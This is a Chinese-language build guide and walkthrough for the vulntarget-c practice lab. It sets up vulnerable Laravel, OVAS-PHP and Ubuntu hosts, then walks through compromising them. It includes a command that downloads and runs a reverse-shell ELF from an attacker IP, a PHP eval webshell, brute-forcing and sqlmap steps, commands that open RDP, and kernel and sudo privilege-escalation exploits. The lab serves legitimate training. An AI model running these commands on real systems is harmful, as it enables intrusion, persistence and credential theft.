太强了
vuntarget免责声明
vulntarget
靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget
靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。
0. 相关漏洞技术
laravel
、OVAS-PHP
相关漏洞、隧道代理、免杀、提权、CVE-2021-3129
、CVE-2021-3493
等
下载地址
百度云:
链接: 链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码: 1p9p
下文搭建镜像在vulntarget-c目录下,a/b已经发表在星期五实验室
微信公众号文章里,感兴趣的可以关注公众号,后续系列也会发在公众号
Github: https://github.com/crow821/vulntarget
测试说明
- 镜像都是基于
VM16
做的,没有向下兼容 - 操作人员自行修改第一层外网IP,将其修改为攻击机可访问IP即可,三层均服务自启
- 下载靶机,开机之后,确认自己网络配置好了,可以选择本地做一个快照,原本的快照可能会因为制作靶机的处理器和当前打开靶机的处理器不一致,导致快照恢复失败,或者异常(见谅)
1. 拓扑图
2. 搭建过程
2.1 外网ubuntu20
镜像地址:http://mirrors.aliyun.com/ubuntu-releases/20.04/
2.1.1 远程及网络配置
网络模式先选用桥接,具体安装过程参考:https://cdmana.com/2021/02/20210204085810375L.html
设置root
密码:sudo passwd root
,密码为root#qwe
,修改sshd_config
文件,允许远程登录
重启ssh
服务:service ssh restart
2.2.2 安装php
php
版本为:7.4.3
(如果单纯的测试laravel这个漏洞,使用php启动服务即可)
先更新:apt-get update
,再安装php:apt install php7.4-cli
2.2.3 安装composer
官网地址为:https://getcomposer.org/download/
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php --version=2.0.8 //安装特定版本,不指定版本,默认安装最新的,后面composer安装插件的时候就会报错,本次选用2.0.8,其他版本未测试
php -r "unlink('composer-setup.php');" //删除文件
mv composer.phar /usr/bin/composer
最新版本的composer
安装插件会报如下错误:
2.2.4 安装Laravel 8.4.2
文件地址为:https://github.com/laravel/laravel/archive/refs/tags/v8.4.2.zip
安装:composer -vvv install
(-vvv可以看到进度),使用非root
账号安装
默认的composer在国内安装很慢,配置一个阿里的源:composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
报错:
安装扩展解决:sudo apt-get install php-xml
报另一个错误:
给目录赋予写权限就行:sudo chmod -R 777 laravel-8.4.2
(一劳永逸,真实环境不可取)
安装成功
2.2.5 安装漏洞插件
漏洞插件安装:composer require facade/ignition==2.5.1
修改文件
cp .env.example .env # .env文件必须这里设置了 APP_DEBUG=true,默认就行
php artisan key:generate # 生成密钥
一切准备就绪之后,启动服务即可:php artisan serve --host=0.0.0.0
设置后台运行:nohup php artisan serve --host=0.0.0.0 &
开启之后页面不正常,key不对
更新:composer update
清理缓存:php artisan config:clear
,然后再执行:php artisan config:cache
,再重新生成key:php artisan key:generate
开启web服务试试:php artisan serve --host=0.0.0.0
还是不行,再次执行:php artisan config:cache
2.2.6 安装apache
后经测试发现,使用php
启动环境,msf
连接之后web
页面就会卡住(不影响msf
的操作,单纯的web
连接不上,估计是php
启动服务是单线程的,msf
连接之后,占用了),改为apache
来起web
服务
安装apache
以及php
解析
- 安装apache
sudo apt-get install apache2
- 安装php-apache解析插件
sudo apt install libapache2-mod-php7.4
- 配置文件
包含解析
sudo vim /etc/apache2/apache2.conf
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride all
Require all granted
</Directory>
文件最后添加
IncludeOptional mods-available/php7.4.load
IncludeOptional mods-available/php7.4.conf
将之前的源码移动到apache
目录下:/var/www/html/
,隐藏文件:mv ./.* ..
(移动当前隐藏文件到上一级)
修改网站根路径为/var/www/html/public
sudo vim /etc/apache2/sites-available/000-default.conf
启用mod_rewrite
模块以支持.htaccess
解析,参考
sudo a2enmod rewrite
重启服务
sudo systemctl restart apache2
2.2.6 配置sudo提权
root执行命令:visudo
,或者编辑文件:vim /etc/sudoers
添加一句:vulntarget ALL=(ALL:ALL) NOPASSWD:/usr/bin/python3 /opt/root.py
,脚本参考之前做vulnhub
遇到的一次提权。
2.2.7 双网卡配置
均为静态IP,位置文件为:/etc/netplan/00-installer-config.yaml
编辑文件:sudo vim /etc/netplan/00-installer-config.yaml
文件内容为:
# This is the network config written by 'subiquity'
network:
ethernets:
ens33:
addresses:
- 192.168.0.104/24 //修改
gateway4: 192.168.0.1 //修改
nameservers:
addresses:
- 8.8.8.8
search:
- local
ens38:
addresses:
- 10.0.20.141/24
gateway4: 10.0.20.1
version: 2
保存,然后重启服务:sudo netplan apply
2.2 server2016
2.2.1 xampp安装
选择这个版本的xampp,一路下一步即可。
安装完成后打开主控台点击如图所示安装服务
2.2.2 cms安装
解压cms
,并将cms
目录移动到C:\xampp\htdocs
目录下
在xampp
面板中开启apache
和mysql
服务
打开浏览器,在浏览器中输入localhost/phpmyadmin
打开phpmyadmin
页面
点击新建,输入数据库名:ovas_db
,然后点击右侧创建:
点击上方导入,选择数据库文件,路径为:C:\xampp\htdocs\ovas\database\ovas_db.sql
翻到右下角,点击执行
在浏览器中输入:localhost/ovas
访问,成功搭建
点击右上角Admin Login
登录后台,用户名admin
密码admin123
成功登录后台
2.2.3 网络
配置文件及网络
防火墙
和WDF
都开着
2.3 ubuntu16
具体安装,参考:https://blog.csdn.net/zhengchaooo/article/details/79500209
安装ssh,配置静态IP(根据自己需求自行修改)
配置文件:/etc/network/interfaces
3. 测试过程
3.2 测试过程(仅供参考)
测试过程,仅供参考,如有未考虑到地方,请见谅
3.2.1 外网打点
ip10.30.7.51
使用nmap工具进行端口扫描,发现存在22
端口和80
端口
访问80
端口,为Laravel
框架
3.2.2 Laravel getshell
该版本的Laravel
存在,CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
下载工具
git clone https://github.com/SNCKER/CVE-2021-3129
cd CVE-2021-3129
git clone https://github.com/ambionics/phpggc.git(exp执行需要使用此工具)
修改exploit.py
的ip
和命令
运行脚本 python3 exploit.py
命令执行成功
上线msf
攻击机生成linux
反向马
攻击机python
开启http
传输服务,
msf
开启监听
执行木马下载、赋权、执行代码
wget http://10.30.7.99:9999/7776.elf&&chmod 777 7776.elf&&./7776.elf
上线失败,使用pwd
执行发现目前路径为/
,猜测权限执行不够
于是更换路径去执行命令,可以通过Wappalyzer
插件来,中间件为Apache
,使用Laravel
框架搭建,猜测apache
默认路径,下载Laravel
源码发现文件放在public
路径下
cd /var/www/html/public&&wget http://10.30.7.99:9999/7776.elf&&chmod 777 7776.elf&&./7776.elf
成功上线msf
3.2.3 sudo 提权
run post/multi/recon/local_exploit_suggester
尝试提权,失败。
进入到/home
,发现存在vulntarget
路径,证明存在vulntarget
用户
尝试登录,发现存在弱密码为root
sudo -l
查看可允许sudo
权限的文件
查看root.py
文件内容
分析代码可以看到,其作用是开启一个本地监听,然后接受连接,由于未做输入检查,当输入非数字时,会进入pdb
模块,该模块可执行root
权限的命令
以sudo
运行此文件
另开一个终端,nc
进入,输入字母使其报错,密码可以从root.py
文件中得到
监听端进入Pdb
模块,可以通过os
模块来执行root
权限的命令
使用chmod u+s /bin/bash
来获取持久化权限
提权成功
3.2.4 内网信息收集
进入shell
后,查看ip
信息,发现存在内网10.0.20.0/24网段
使用auxiliary/scanner/portscan/tcp
模块进行主机存活扫描
发现存活主机10.0.20.100
,且开放了80
、443
端口
开启msf socks5
代理
3.2.5 OVAS-PHP 弱口令进入后台
火狐浏览器挂msf
的socks5
代理访问,80
端口即http://10.0.20.100
登录框尝试爆破进入
浏览器开启burp
代理,bp
抓包后
POST /classes/Login.php?f=login HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 30
Origin: http://10.0.20.100
Connection: close
Referer: http://10.0.20.100/admin/login.php
Cookie: PHPSESSID=ndd4l701jdk2un19ijjhufgc39
username=admin&password=123456
burp
开启代理
进入Intruder
模块,尝试爆破
发现密码为admin123
,登录后台
账号:admin密码:admin123
3.2.6 后台注入getshell
访问Inquiries
,burpsuite
抓包
GET /admin/inquiries/view_details.php?id=1 HTTP/1.1
Host: 10.0.20.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://10.0.20.100/admin/?page=inquiries
Cookie: PHPSESSID=ndd4l701jdk2un19ijjhufgc39
使用sqlmap
进行getshell
,发现msf
的代理不稳定,无法连接目标URL
使用较稳定的frp
代理
服务器开启frps
服务
上传frpc
和socks.ini
配置文件到目标机器上。
进入msf
的session
会话中,进入shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
运行frpc
客户端
sqlmap -r 2.txt --proxy=socks://10.30.7.99:8888
通过sqlmap
拿shell
拿到shell
写入一句话木马,上线蚁剑
echo ^<^?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?^>^ > test.php
将test.php
木马文件替换成index.php
访问http://10.0.20.100/admin/?page=inquiries
,就可以访问该木马了
蚁剑开启代理
成功连接
命令执行成功
3.2.7 免杀defender 上线msf
systeminfo
查看系统信息,为Windows Server 2016
该机器存在Windows Defender
普通的cs
木马会被杀,做免杀上线即可,将免杀上传到受害机运行(此处免杀方法不唯一,详情略~
)
开启监听
木马执行
上线成功
添加路由
3.2.8 windows 2016 远程登录
查看内网信息ipconfig
还存在10.0.10.0/24
网段
use auxiliary/scanner/portscan/tcp
发现存在主机10.0.10.110
抓取2016
密码
NTLM解密
密码为Admin#123
开启远程桌面,可以使用以下几个命令来开启远程,进而登录
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
开启代理登录远程桌面
在任务栏存在远程连接工具,输入本机密码登录成功
存在10.0.10.110
机器的连接会话,与之前扫描发现的内网主机一致。
3.2.9 ubuntu16 内核提权
sudo
版本为1.8.16
存在sudo
提权漏洞 ,但是没有利用成功
使用另一个去年出的内核提权exp打成功了
#exp
https://github.com/briskets/CVE-2021-3493
本机编译好利用exp
,并使用tar
进行压缩(直接上传会被defender删)
解压运行:
提权成功!